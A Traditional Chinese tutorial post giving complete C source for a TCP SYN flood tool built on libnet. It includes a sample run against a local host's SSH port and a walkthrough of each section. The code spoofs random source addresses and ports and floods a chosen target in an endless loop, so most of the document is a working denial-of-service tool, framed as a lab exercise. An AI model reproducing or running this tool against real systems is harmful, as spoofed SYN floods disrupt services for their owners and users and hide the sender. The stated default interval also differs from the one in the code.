libnet/tcp_syn_flood.c
TCP在傳輸資料前會先建立連線,建立連線的方式就是所謂的TCP Three-way handshake
,一開始Client端送出一個TCP SYN封包,Server端確認可以連線後回送TCP SYN+ACK封包,Client端收到後回覆一個TCP ACK封包表示建立連線完成。
而TCP SYN Flood是利用只送出TCP SYN封包,讓Server端等待回覆的方式消耗掉資源,雖然在現代主機都有方法防範這樣攻擊的方法,不過在一些老舊的主機還是能夠成功。
Source Code
//
// tcp_syn_flood.c
// 功能:TCP SYN洪水攻擊。
// Created by 聲華 陳 on 2016/03/06.
//
#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
void usage(const char *cmd);
u_int32_t ip_aton(const char *ip_address);
char *ip_ntoa(u_int32_t i);
void signal_handler(int sig);
static libnet_t *handle = NULL;
int main(int argc, const char * argv[]) {
int c;
int interval = 100 * 1000; //0.1s
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t ip_tag = LIBNET_PTAG_INITIALIZER, tcp_tag = LIBNET_PTAG_INITIALIZER, tcp_option_tag = LIBNET_PTAG_INITIALIZER;
u_int32_t dst_ip = 0, src_ip = 0;
u_int16_t dport = 0, sport = 0;
int length;
u_char tcp_option[] = "\x02\x04\x05\xb4";
char tcp_option_length = sizeof(tcp_option) - 1;
//parse argument
opterr = 0; //don't show default error message
while((c = getopt(argc, (char * const *)argv, "w:d:p:")) != EOF) {
switch (c) {
case 'w':
interval = atoi(optarg) * 1000;
if(interval == 0) {
fprintf(stderr, "Invalid interval value: %s\n", optarg);
exit(1);
}//end if
break;
case 'd':
dst_ip = ip_aton(optarg);
break;
case 'p':
dport = atoi(optarg);
if(dport == 0) {
fprintf(stderr, "Invalid port number: %s\n", optarg);
exit(1);
}//end if
break;
case '?':
case 'h':
default:
usage(argv[0]);
break;
}//end switch
}//end while
if(dst_ip == 0 || dport == 0) {
usage(argv[0]);
}//end if
//set signal handler
if(signal(SIGINT, signal_handler) == SIG_ERR) {
fprintf(stderr, "signal: %s\n", strerror(errno));
exit(1);
}//end if
//init handle
handle = libnet_init(LIBNET_RAW4, NULL, errbuf);
if(!handle) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
exit(1);
}//end if
//init seed
libnet_seed_prand(handle);
while(1) {
//rand a source ip address and port
src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);
if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
tcp_option_tag = libnet_build_tcp_options(tcp_option,
tcp_option_length,
handle,
tcp_option_tag);
if(tcp_option_tag == -1) {
fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
tcp_tag = libnet_build_tcp(sport,
//source port
dport,
//destination port
0,
//sequence number
0,
//acknowledgment number
TH_SYN,
//flags
UINT16_MAX,
//window size
0,
//checksum
0,
//urgent pointer
20 + tcp_option_length,
//length
NULL,
0,
handle,
tcp_tag);
if(tcp_tag == -1) {
fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
break;
}//end if
ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
//total length, 28 + payload length
0,
//type of service
libnet_get_prand(LIBNET_PRu16),
//id, rand
0,
//fragment offset
64,
//time to live
IPPROTO_TCP,
//procotol, 1
0,
//checksum, auto calculate
src_ip,
//source ip address
dst_ip,
//destination ip address
NULL,
0,
handle,
ip_tag);
if(ip_tag == -1) {
fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
break;
}//end if
length = libnet_write(handle);
if(length == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
}//end if
else {
printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
}//end else
usleep(interval);
}//end while
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
return 0;
}
void usage(const char *cmd) {
printf("Usage: %s <-d Destination IP Address> <-p Destination Port> [-w Interval ms]\n", cmd);
exit(1);
}//end usage
void signal_handler(int sig) {
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(0);
}//end signal_function
u_int32_t ip_aton(const char *ip_address) {
u_int32_t ip_integer;
if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
fprintf(stderr, "Invalid IP address: %s\n", ip_address);
exit(1);
}//end if
return ip_integer;
}//end if
char *ip_ntoa(u_int32_t i) {
#define FUNCTION_BUFFER 256
static char str[FUNCTION_BUFFER][INET_ADDRSTRLEN];
static int which = -1;
which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);
memset(str[which], 0, sizeof(str[which]));
inet_ntop(AF_INET, &i, str[which], sizeof(str[which]));
return str[which];
}//end ip_ntoa
結果
libnet % ./tcp_syn_flood
Usage: ./tcp_syn_flood <-d Destination IP Address> <-p Destination Port> [-w Interval ms]
libnet % sudo ./tcp_syn_flood -d 192.168.1.101 -p 22
Source IP Address: 110.111.186.243:53064, Destination IP Address: 192.168.1.101:22
Source IP Address: 49.149.89.37:53309, Destination IP Address: 192.168.1.101:22
Source IP Address: 107.162.179.12:56654, Destination IP Address: 192.168.1.101:22
Source IP Address: 66.156.200.175:58278, Destination IP Address: 192.168.1.101:22
Source IP Address: 40.53.26.113:64646, Destination IP Address: 192.168.1.101:22
Source IP Address: 83.114.24.133:59547, Destination IP Address: 192.168.1.101:22
Source IP Address: 91.80.142.34:52347, Destination IP Address: 192.168.1.101:22
Source IP Address: 68.107.239.143:53322, Destination IP Address: 192.168.1.101:22
Source IP Address: 124.251.91.140:54224, Destination IP Address: 192.168.1.101:22
Source IP Address: 45.141.75.205:63801, Destination IP Address: 192.168.1.101:22
Source IP Address: 120.236.113.77:58012, Destination IP Address: 192.168.1.101:22
Source IP Address: 41.19.97.133:60758, Destination IP Address: 192.168.1.101:22
Source IP Address: 81.246.170.165:52230, Destination IP Address: 192.168.1.101:22
Source IP Address: 84.7.120.120:55122, Destination IP Address: 192.168.1.101:22
...略
受害主機上可以看到很多已經接受到TCP SYN封包後等待回覆的連線狀態。
參數
-d #目標IP Address
-p #目標Port
-w #每個封包間隔,單位毫秒,預設1000毫秒
分析
void usage(const char *cmd);
u_int32_t ip_aton(const char *ip_address);
char *ip_ntoa(u_int32_t i);
void signal_handler(int sig);
static libnet_t *handle = NULL;
函數和全域變數宣告有這些,直接來看程式使用方法的函數。
void usage(const char *cmd) {
printf("Usage: %s <-d Destination IP Address> <-p Destination Port> [-w Interval ms]\n", cmd);
exit(1);
}//end usage
程式只需要讀入Destination IP Address和Destination Port就好了。
//parse argument
opterr = 0; //don't show default error message
while((c = getopt(argc, (char * const *)argv, "w:d:p:")) != EOF) {
switch (c) {
case 'w':
interval = atoi(optarg) * 1000;
if(interval == 0) {
fprintf(stderr, "Invalid interval value: %s\n", optarg);
exit(1);
}//end if
break;
case 'd':
dst_ip = ip_aton(optarg);
break;
case 'p':
dport = atoi(optarg);
if(dport == 0) {
fprintf(stderr, "Invalid port number: %s\n", optarg);
exit(1);
}//end if
break;
case '?':
case 'h':
default:
usage(argv[0]);
break;
}//end switch
}//end while
if(dst_ip == 0 || dport == 0) {
usage(argv[0]);
}//end if
這邊就一樣處理讀入的參數,這邊沒有什麼特別的所以不再多解釋。
//set signal handler
if(signal(SIGINT, signal_handler) == SIG_ERR) {
fprintf(stderr, "signal: %s\n", strerror(errno));
exit(1);
}//end if
我們的程式設計上是一個無窮迴圈,所以停止方法只有輸入Ctrl+C
,使用函數signal()
來註冊一個函數,當程式收到Ctrl+C
的訊號時候,就會呼叫該函數,而這函數為signal_handler()
,第一個參數就是要監聽的訊號,在這邊是Ctrl+C
。
void signal_handler(int sig) {
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(0);
}//end signal_function
當收到Ctrl+C
訊號時候就會呼叫該函數,釋放libnet handle後就可以結束程式。
在libnet/arpoison.c也用過一樣的技巧。
//init handle
handle = libnet_init(LIBNET_RAW4, NULL, errbuf);
if(!handle) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
exit(1);
}//end if
我們用LIBNET_RAW4
初始化一個libnet handle來使用。
//init seed
libnet_seed_prand(handle);
因為我們要偽造Source IP Address和Source Port,所以利用亂數產生的方式來IP Address和Port。
while(1) {
//rand a source ip address and port
src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);
if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
tcp_option_tag = libnet_build_tcp_options(tcp_option,
tcp_option_length,
handle,
tcp_option_tag);
if(tcp_option_tag == -1) {
fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
tcp_tag = libnet_build_tcp(sport,
//source port
dport,
//destination port
0,
//sequence number
0,
//acknowledgment number
TH_SYN,
//flags
UINT16_MAX,
//window size
0,
//checksum
0,
//urgent pointer
20 + tcp_option_length,
//length
NULL,
0,
handle,
tcp_tag);
if(tcp_tag == -1) {
fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
break;
}//end if
ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
//total length, 28 + payload length
0,
//type of service
libnet_get_prand(LIBNET_PRu16),
//id, rand
0,
//fragment offset
64,
//time to live
IPPROTO_TCP,
//procotol, 1
0,
//checksum, auto calculate
src_ip,
//source ip address
dst_ip,
//destination ip address
NULL,
0,
handle,
ip_tag);
if(ip_tag == -1) {
fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
break;
}//end if
length = libnet_write(handle);
if(length == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
}//end if
else {
printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
}//end else
usleep(interval);
}//end while
接著就是建構封包並送出了。
while(1) {
//rand a source ip address and port
src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);
...略
首先來亂數產生IP Address和Port。
IP Address實際上是一個unsigned的32位元int,所以直接用函數libnet_get_prand()
搭配參數LIBNET_PRu32
產生,我們變數src_ip
以網路地址格式儲存,所以我們再利用函數htonl()
轉成網路地址格式。
Port為一個unsigned的16位元int,所以使用函數libnet_get_prand()
搭配參數LIBNET_PRu16
產生,這邊要跳脫一下。
Port有三個範圍:
0-1023
:Official,向IANA
註冊的應用程式。1024-49151
:Unofficial,沒有向IANA
註冊的應用程式。49152-65535
:Multiple use,動態使用。
所以我們如果要產生的話,很明顯我們只能產生49152-65535
這個範圍,我們用簡單數學算一下,如果要產生[low, up]
這個範圍的亂數,使用公式:rand() % (up - low + 1) + low
產生,所以這裡產生Port的方式為:libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152)
。
這邊也是一個我不推薦使用libnet原因,libnet傳入IP Address要以網路地址格式傳入但Port卻不用,很容易讓人搞混。另外,函數
libnet_build_dhcpv4()
的IP Address卻似乎要以主機地址格式傳入,bug...?
...略
if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
tcp_option_tag = libnet_build_tcp_options(tcp_option,
tcp_option_length,
handle,
tcp_option_tag);
if(tcp_option_tag == -1) {
fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
...略
接著開始封包的部分,這邊我們需要TCP Option的部分,我們先從封包層面看一下這是什麼Option。
打開Wireshark,Display Filter
使用tcp.option_kind == 2
試著抓取封包。
會發現似乎只有包含SYN標記的TCP封包才會有,所以直接翻RFC看看它的定義,在RFC 793中寫「只有在連線階段時的TCP封包(包含SYN的TCP封包)才能夠使用」,那再來觀察所有的TCP SYN封包幾乎全部都包含了這個選項,原因在於如果沒有指定這個Option,任何的TCP封包大小都會被允許(系統預設536),在有些系統上會直接拒絕掉,所以我們加入這個選項。
MTU
全稱為Maximum Transmission Unit
,為在網路上傳輸時,Network Layer
層以上全部封包的最大大小,如果封包大於MTU
大小,會試著切割封包。TCP封包稱為Segment
,所以最大TCP封包稱為Maximum Segment Size
簡稱MSS
。
這個Option在封包內的十六進位格式為0x02 0x04 0x05 0xb4
(底下可以看到),另外要注意TCP Option必須用0補齊到4的倍數,我們Option剛好為4所以不用補齊,直接改成C語言能夠使用的格式,變數宣告:
u_char tcp_option[] = "\x02\x04\x05\xb4";
char tcp_option_length = sizeof(tcp_option) - 1;
...略
if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
tcp_option_tag = libnet_build_tcp_options(tcp_option,
tcp_option_length,
handle,
tcp_option_tag);
if(tcp_option_tag == -1) {
fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
...略
使用函數libnet_build_tcp_options()
來建構TCP Option部分,這個只要建構一次就好,用tag標記讓它建構一次。
...略
tcp_tag = libnet_build_tcp(sport,
//source port
dport,
//destination port
0,
//sequence number
0,
//acknowledgment number
TH_SYN,
//flags
UINT16_MAX,
//window size
0,
//checksum
0,
//urgent pointer
20 + tcp_option_length,
//length
NULL,
0,
handle,
tcp_tag);
if(tcp_tag == -1) {
fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
break;
}//end if
...略
接著使用函數libnet_build_tcp()
建構TCP表頭部分,其中第三個參數和第四個參數,Sequence Number和Ackowledgment Number一定要填入0。第五個參數Flags當然只能填入TH_SYN
。第六個參數Window Size隨便填入就好,這裡填入unsigned的16位元int最大值65535。第七個參數Checksum填入0表示自動算。第九個參數TCP封包長度記得要加上Option部分。
第一次自己寫一定不知道要怎麼填入,可以打開Wireshark抓封包來參考該填入哪些資訊。
...略
ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
//total length, 28 + payload length
0,
//type of service
libnet_get_prand(LIBNET_PRu16),
//id, rand
0,
//fragment offset
64,
//time to live
IPPROTO_TCP,
//procotol, 1
0,
//checksum, auto calculate
src_ip,
//source ip address
dst_ip,
//destination ip address
NULL,
0,
handle,
ip_tag);
if(ip_tag == -1) {
fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
break;
}//end if
...略
IP表頭部分使用函數libnet_build_ipv4()
建構,這邊主要就第八個參數是我們剛剛亂數產生的Source IP Address。
...略
length = libnet_write(handle);
if(length == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
}//end if
else {
printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
}//end else
usleep(interval);
}//end while
建構完封包後就呼叫函數libnet_write()
送出封包,記得要呼叫usleep()
暫停一下產生時間間隔。
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
最後記得釋放資源。
結語
這個程式示範了TCP SYN Flood攻擊,可以用來攻擊自己架設的環境,測試自己寫的封包是否正確。